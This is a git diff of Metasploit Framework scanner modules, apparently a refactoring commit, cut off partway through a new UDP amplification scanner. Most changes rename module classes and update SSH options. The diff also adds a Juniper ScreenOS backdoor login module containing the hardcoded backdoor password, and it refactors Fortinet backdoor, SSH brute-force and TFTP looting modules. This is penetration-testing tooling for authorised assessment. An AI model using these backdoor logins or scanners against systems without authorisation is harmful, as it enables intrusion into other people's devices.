a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb index 8886a67ae8..55ea5142b4 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb index 34a0940b48..e763078560 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index a12761684b..ecc44d8fac 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'metasploit/framework/community_string_collection' require 'metasploit/framework/login_scanner/snmp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/snmp/snmp_set.rb b/modules/auxiliary/scanner/snmp/snmp_set.rb index edd07e2785..bf88ec862c 100644 --- a/modules/auxiliary/scanner/snmp/snmp_set.rb +++ b/modules/auxiliary/scanner/snmp/snmp_set.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb index 445634756e..573424c908 100644 --- a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb +++ b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb index c6cf8702bd..c9530ef9e9 100644 --- a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/apache_karaf_command_execution.rb b/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb similarity index 83% rename from modules/auxiliary/gather/apache_karaf_command_execution.rb rename to modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb index 17a4f0336b..5221ef0197 100644 --- a/modules/auxiliary/gather/apache_karaf_command_execution.rb +++ b/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb @@ -6,9 +6,10 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, @@ -68,24 +69,27 @@ class Metasploit3 < Msf::Auxiliary end def do_login(user, pass, ip) + factory = ssh_socket_factory opts = { - :auth_methods => ['password'], - :msframework => framework, - :msfmodule => self, - :port => rport, - :disable_agent => true, - :config => false, - :password => pass, - :record_auth_info => true, - :proxies => datastore['Proxies'] + auth_methods: ['password'], + port: rport, + config: false, + use_agent: false, + password: pass, + proxy: factory, + non_interactive: true } - opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin - ssh = nil - ::Timeout.timeout(datastore['SSH_TIMEOUT']) do - ssh = Net::SSH.start(ip, user, opts) + ssh = ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + Net::SSH.start(ip, user, opts) + end + if ssh + print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'") + else + print_error "#{ip}:#{rport} - Unknown error" end rescue OpenSSL::Cipher::CipherError => e print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})") @@ -105,11 +109,6 @@ class Metasploit3 < Msf::Auxiliary return end - if ssh - print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'") - else - print_error "#{ip}:#{rport} - Unknown error" - end ssh end diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb index 52becd24cc..ef389b824f 100644 --- a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -68,32 +68,30 @@ class Metasploit3 < Msf::Auxiliary end def check_vulnerable(ip) - options = { - :port => rport, - :auth_methods => ['password', 'keyboard-interactive'], - :msframework => framework, - :msfmodule => self, - :disable_agent => true, - :config => false, - :proxies => datastore['Proxies'] + opt_hash = { + port: rport, + auth_methods: ['password', 'keyboard-interactive'], + use_agent: false, + config: false, + proxies: datastore['Proxies'] } begin - transport = Net::SSH::Transport::Session.new(ip, options) + transport = Net::SSH::Transport::Session.new(ip, opt_hash) rescue Rex::ConnectionError return :connection_error end - auth = Net::SSH::Authentication::Session.new(transport, options) + auth = Net::SSH::Authentication::Session.new(transport, opt_hash) auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8)) auth_method = auth.allowed_auth_methods.join('|') print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}" report_service( - :host => ip, - :port => rport, - :name => "ssh", - :proto => "tcp", - :info => auth.transport.server_version.version + host: ip, + port: rport, + name: "ssh", + proto: "tcp", + info: auth.transport.server_version.version ) if auth_method.empty? @@ -107,16 +105,14 @@ class Metasploit3 < Msf::Auxiliary pass = Rex::Text.rand_text_alphanumeric(8) opt_hash = { - :auth_methods => ['password', 'keyboard-interactive'], - :msframework => framework, - :msfmodule => self, - :port => port, - :disable_agent => true, - :config => false, - :proxies => datastore['Proxies'] + auth_methods: ['password', 'keyboard-interactive'], + port: port, + use_agent: false, + config: false, + proxies: datastore['Proxies'] } - opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG'] transport = Net::SSH::Transport::Session.new(ip, opt_hash) auth = Net::SSH::Authentication::Session.new(transport, opt_hash) diff --git a/modules/auxiliary/scanner/ssh/detect_kippo.rb b/modules/auxiliary/scanner/ssh/detect_kippo.rb index 1b1371675c..9d260001ec 100644 --- a/modules/auxiliary/scanner/ssh/detect_kippo.rb +++ b/modules/auxiliary/scanner/ssh/detect_kippo.rb @@ -1,6 +1,6 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb b/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb index 71e0077f44..8bf9aa7fa9 100644 --- a/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb +++ b/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb @@ -3,8 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::SSH include Msf::Exploit::Remote::Fortinet include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -26,7 +27,7 @@ class Metasploit4 < Msf::Auxiliary ['URL', 'http://seclists.org/fulldisclosure/2016/Jan/26'], ['URL', 'https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios'] ], - 'DisclosureDate' => 'Jan 09 2016', + 'DisclosureDate' => 'Jan 9 2016', 'License' => MSF_LICENSE )) @@ -41,20 +42,22 @@ class Metasploit4 < Msf::Auxiliary end def run_host(ip) + factory = ssh_socket_factory + ssh_opts = { - port: datastore['RPORT'], - auth_methods: ['fortinet-backdoor'] + port: rport, + auth_methods: ['fortinet-backdoor'], + non_interactive: true, + config: false, + use_agent: false, + proxy: factory } ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do - Net::SSH.start( - ip, - 'Fortimanager_Access', - ssh_opts - ) + Net::SSH.start(ip, 'Fortimanager_Access', ssh_opts) end rescue Net::SSH::Exception => e vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}") @@ -64,10 +67,10 @@ class Metasploit4 < Msf::Auxiliary if ssh print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access") report_vuln( - :host => ip, - :name => self.name, - :refs => self.references, - :info => ssh.transport.server_version.version + host: ip, + name: self.name, + refs: self.references, + info: ssh.transport.server_version.version ) end end diff --git a/modules/auxiliary/scanner/ssh/juniper_backdoor.rb b/modules/auxiliary/scanner/ssh/juniper_backdoor.rb new file mode 100644 index 0000000000..685e38e285 --- /dev/null +++ b/modules/auxiliary/scanner/ssh/juniper_backdoor.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'net/ssh' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::SSH + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Juniper SSH Backdoor Scanner', + 'Description' => %q{ + This module scans for the Juniper SSH backdoor (also valid on Telnet). + Any username is required, and the password is <<< %s(un='%s') = %u. + }, + 'Author' => [ + 'hdm', # Discovery + 'h00die ' # Module + ], + 'References' => [ + ['CVE', '2015-7755'], + ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor'], + ['URL', 'https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713'] + ], + 'DisclosureDate' => 'Dec 20 2015', + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(22) + ]) + + register_advanced_options([ + OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]), + OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10]) + ]) + end + + def run_host(ip) + factory = ssh_socket_factory + ssh_opts = { + port: rport, + auth_methods: ['password', 'keyboard-interactive'], + password: %q{<<< %s(un='%s') = %u}, + proxy: factory, + :non_interactive => true + } + + ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] + + begin + ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do + Net::SSH.start( + ip, + 'admin', + ssh_opts + ) + end + rescue Net::SSH::Exception => e + vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}") + return + end + + if ssh + print_good("#{ip}:#{rport} - Logged in with backdoor account admin:<<< %s(un='%s') = %u") + report_vuln( + :host => ip, + :name => self.name, + :refs => self.references, + :info => ssh.transport.server_version.version + ) + end + end + + def rport + datastore['RPORT'] + end + +end diff --git a/modules/auxiliary/scanner/ssh/karaf_login.rb b/modules/auxiliary/scanner/ssh/karaf_login.rb index be6c4539c9..723e085d0f 100644 --- a/modules/auxiliary/scanner/ssh/karaf_login.rb +++ b/modules/auxiliary/scanner/ssh/karaf_login.rb @@ -8,7 +8,7 @@ require 'net/ssh' require 'metasploit/framework/login_scanner/ssh' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell diff --git a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb index 3379adad44..3e957a80c9 100644 --- a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb @@ -6,11 +6,12 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell + include Msf::Exploit::Remote::SSH def initialize(info = {}) super(update_info(info, @@ -79,16 +80,15 @@ class Metasploit3 < Msf::Auxiliary def check_user(ip, user, port) pass = Rex::Text.rand_text_alphanumeric(64_000) - + factory = ssh_socket_factory opt_hash = { :auth_methods => ['password', 'keyboard-interactive'], - :msframework => framework, - :msfmodule => self, :port => port, - :disable_agent => true, + :use_agent => false, :password => pass, :config => false, - :proxies => datastore['Proxies'] + :proxy => factory, + :non_interactive => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index 6a066ffef3..f17bb881de 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -6,12 +6,14 @@ require 'msf/core' require 'net/ssh' require 'sshkey' # TODO: Actually include this! +require 'net/ssh/pubkey_verifier' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report + include Msf::Exploit::Remote::SSH def initialize super( @@ -45,8 +47,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(22), - OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.']) - ], self.class + OptPath.new('KEY_FILE', [true, 'Filename of one or several cleartext public keys.']) + ] ) register_advanced_options( @@ -59,7 +61,9 @@ class Metasploit3 < Msf::Auxiliary ] ) - deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS') + deregister_options( + 'RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS', 'USERPASS_FILE', 'DB_ALL_PASS', 'DB_ALL_CREDS' + ) @good_credentials = {} @good_key = '' @@ -71,6 +75,10 @@ class Metasploit3 < Msf::Auxiliary datastore['KEY_DIR'] end + def key_file + datastore['KEY_FILE'] + end + def rport datastore['RPORT'] end @@ -95,8 +103,8 @@ class Metasploit3 < Msf::Auxiliary this_key = [] in_key = false keyfile.split("\n").each do |line| - if line =~ /ssh-(dss|rsa)\s+/ - keys << line + if /(?ssh-(?:dss|rsa)\s+.*)/ =~ line + keys << key next end in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/) @@ -162,8 +170,8 @@ class Metasploit3 < Msf::Auxiliary def do_login(ip, port, user) - if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE']) - keys = read_keyfile(datastore['KEY_FILE']) + if key_file && File.readable?(key_file) + keys = read_keyfile(key_file) cleartext_keys = pull_cleartext_keys(keys) msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty? @@ -196,26 +204,27 @@ class Metasploit3 < Msf::Auxiliary key_info = "- #{$3.strip}" end - accepted = [] + factory = ssh_socket_factory opt_hash = { :auth_methods => ['publickey'], - :msframework => framework, - :msfmodule => self, :port => port, :key_data => key_data[:public], - :disable_agent => true, - :record_auth_info => true, - :skip_private_keys => true, + :use_agent => false, :config =>false, - :accepted_key_callback => Proc.new {|key| accepted << { :data => key_data, :key => key, :info => key_info } }, - :proxies => datastore['Proxies'] + :proxy => factory, + :non_interactive => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil - ::Timeout.timeout(datastore['SSH_TIMEOUT']) { ssh_socket = Net::SSH.start(ip, user, opt_hash) } rescue nil + success = false + verifier = Net::SSH::PubkeyVerifier.new(ip,user,opt_hash) + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + success = verifier.verify + ssh_socket = verifier.connection + end if datastore['SSH_BYPASS'] and ssh_socket data = nil @@ -241,19 +250,29 @@ class Metasploit3 < Msf::Auxiliary return [:fail,nil] # For whatever reason. end - if accepted.length == 0 + unless success if @key_files print_brute :level => :verror, :msg => "User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}" else print_brute :level => :verror, :msg => "User #{user} does not accept key #{key_idx+1} #{key_info}" end + return [:fail,nil] end - accepted.each do |key| - private_key_present = (key[:data][:private]!="") ? 'Yes' : 'No' - print_brute :level => :good, :msg => "Public key accepted: '#{user}' with key '#{key[:key][:fingerprint]}' (Private Key: #{private_key_present}) #{key_info}" - do_report(ip, rport, user, key) - end + key = verifier.key + key_fingerprint = key.fingerprint + user = verifier.user + private_key_present = (key_data[:private] != "") ? 'Yes' : 'No' + + print_brute :level => :good, :msg => "Public key accepted: '#{user}' with key '#{key_fingerprint}' (Private Key: #{private_key_present}) #{key_info}" + + key_hash = { + data: key_data, + key: key, + info: key_info + } + do_report(ip, rport, user, key_hash) + end end @@ -345,9 +364,10 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - # Since SSH collects keys and tries them all on one authentication session, it doesn't - # make sense to iteratively go through all the keys individually. So, ignore the pass variable, - # and try all available keys for all users. + # Since SSH collects keys and tries them all on one authentication session, + # it doesn't make sense to iteratively go through all the keys + # individually. So, ignore the pass variable, and try all available keys + # for all users. each_user_pass do |user,pass| ret, _ = do_login(ip, rport, user) case ret diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index e6925f9660..5482a6c712 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -5,10 +5,11 @@ require 'msf/core' require 'net/ssh' +require 'net/ssh/command_stream' require 'metasploit/framework/login_scanner/ssh' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report @@ -68,6 +69,7 @@ class Metasploit3 < Msf::Auxiliary } info = "#{proto_from_fullname} #{result.credential} (#{@ip}:#{rport})" s = start_session(self, info, merge_me, false, conn.lsock) + self.sockets.delete(ssh_socket.transport.socket) # Set the session platform case result.proof diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index 2fd040823b..e10eae5dab 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -7,8 +7,10 @@ require 'msf/core' require 'net/ssh' require 'metasploit/framework/login_scanner/ssh' require 'metasploit/framework/credential_collection' +require 'sshkey' +require 'net/ssh/command_stream' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report @@ -140,7 +142,7 @@ class Metasploit3 < Msf::Auxiliary return cleartext_keys end - def session_setup(result, ssh_socket) + def session_setup(result, ssh_socket, fingerprint) return unless ssh_socket # Create a new session from the socket @@ -157,8 +159,9 @@ class Metasploit3 < Msf::Auxiliary 'KEY_PATH' => nil } - info = "SSH #{result.credential.public}:#{ssh_socket.auth_info[:pubkey_id]} (#{ip}:#{rport})" + info = "SSH #{result.credential.public}:#{fingerprint} (#{ip}:#{rport})" s = start_session(self, info, merge_me, false, conn.lsock) + self.sockets.delete(ssh_socket.transport.socket) # Set the session platform case result.proof @@ -228,7 +231,9 @@ class Metasploit3 < Msf::Auxiliary credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) - session_setup(result, scanner.ssh_socket) + tmp_key = result.credential.private + ssh_key = SSHKey.new tmp_key + session_setup(result, scanner.ssh_socket, ssh_key.fingerprint) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT if datastore['VERBOSE'] diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index 885d224e51..2f64059d2f 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'recog' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/ssl/openssl_ccs.rb b/modules/auxiliary/scanner/ssl/openssl_ccs.rb index 7b727ef94c..9431875ba8 100644 --- a/modules/auxiliary/scanner/ssl/openssl_ccs.rb +++ b/modules/auxiliary/scanner/ssl/openssl_ccs.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index 409c8722ad..854d0e8969 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -11,7 +11,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/steam/server_info.rb b/modules/auxiliary/scanner/steam/server_info.rb index 398e0fb038..e82b1bc79f 100644 --- a/modules/auxiliary/scanner/steam/server_info.rb +++ b/modules/auxiliary/scanner/steam/server_info.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/steam' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner include Rex::Proto::Steam diff --git a/modules/auxiliary/scanner/telephony/wardial.rb b/modules/auxiliary/scanner/telephony/wardial.rb index 18cd6912cc..8b07f815ee 100644 --- a/modules/auxiliary/scanner/telephony/wardial.rb +++ b/modules/auxiliary/scanner/telephony/wardial.rb @@ -34,7 +34,7 @@ class Object end end -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/telnet/brocade_enable_login.rb b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb index c5beadbe05..117ab45ab4 100644 --- a/modules/auxiliary/scanner/telnet/brocade_enable_login.rb +++ b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb @@ -8,7 +8,7 @@ require 'rex' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/telnet' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb index 061b3b1c10..86c676b14e 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb index b6af840661..116f8f6752 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb index 2facedd4f1..b7d336428a 100644 --- a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb +++ b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 63dda3f8ab..3365467533 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/telnet' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb index a23e6058ef..de3d1de097 100644 --- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb +++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/telnet/telnet_version.rb b/modules/auxiliary/scanner/telnet/telnet_version.rb index 644a178b89..3ec68ab891 100644 --- a/modules/auxiliary/scanner/telnet/telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/telnet_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb index dc1e190457..21b13ad5ce 100644 --- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb +++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(69), OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']), - OptBool.new('SAVE', [false, 'Save the downloaded file to disk', 'false']) + OptBool.new('SAVE', [false, 'Save the downloaded file to disk', false]) ], self.class) end diff --git a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb index fd8c131316..eaef1b8f21 100644 --- a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb +++ b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/tftp/tftpbrute.rb b/modules/auxiliary/scanner/tftp/tftpbrute.rb index 29935dc352..3012f9401c 100644 --- a/modules/auxiliary/scanner/tftp/tftpbrute.rb +++ b/modules/auxiliary/scanner/tftp/tftpbrute.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/udp/udp_amplification.rb b/modules/auxiliary/scanner/udp/udp_amplification.rb new file mode 100644 index 0000000000..35e43c0498 --- /dev/null +++ b/modules/auxiliary/scanner/udp/udp_amplification.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::DRDoS + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + + def initialize + super( + 'Name' => 'UDP Amplification Scanner', + 'Description' => 'Detect UDP endpoints with UDP amplification vulnerabilities', + 'Author' => 'Jon Hart ', + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A'] + ] + ) + + register_options( + [ + OptString.new('PORTS', [true, 'Ports to probe']), + OptString.new('PROBE', [false, 'UDP payload/probe to send. Unset for an empty UDP datagram, or the `file://` resource to get content from a local file']) + ] + ) + + # RPORT is unused in this scanner module because it supports multiple ports + deregister_options('RPORT') + end + + def setup + super + + unless (@ports = Rex::Socket.portspec_crack(datastore['PORTS'])) + 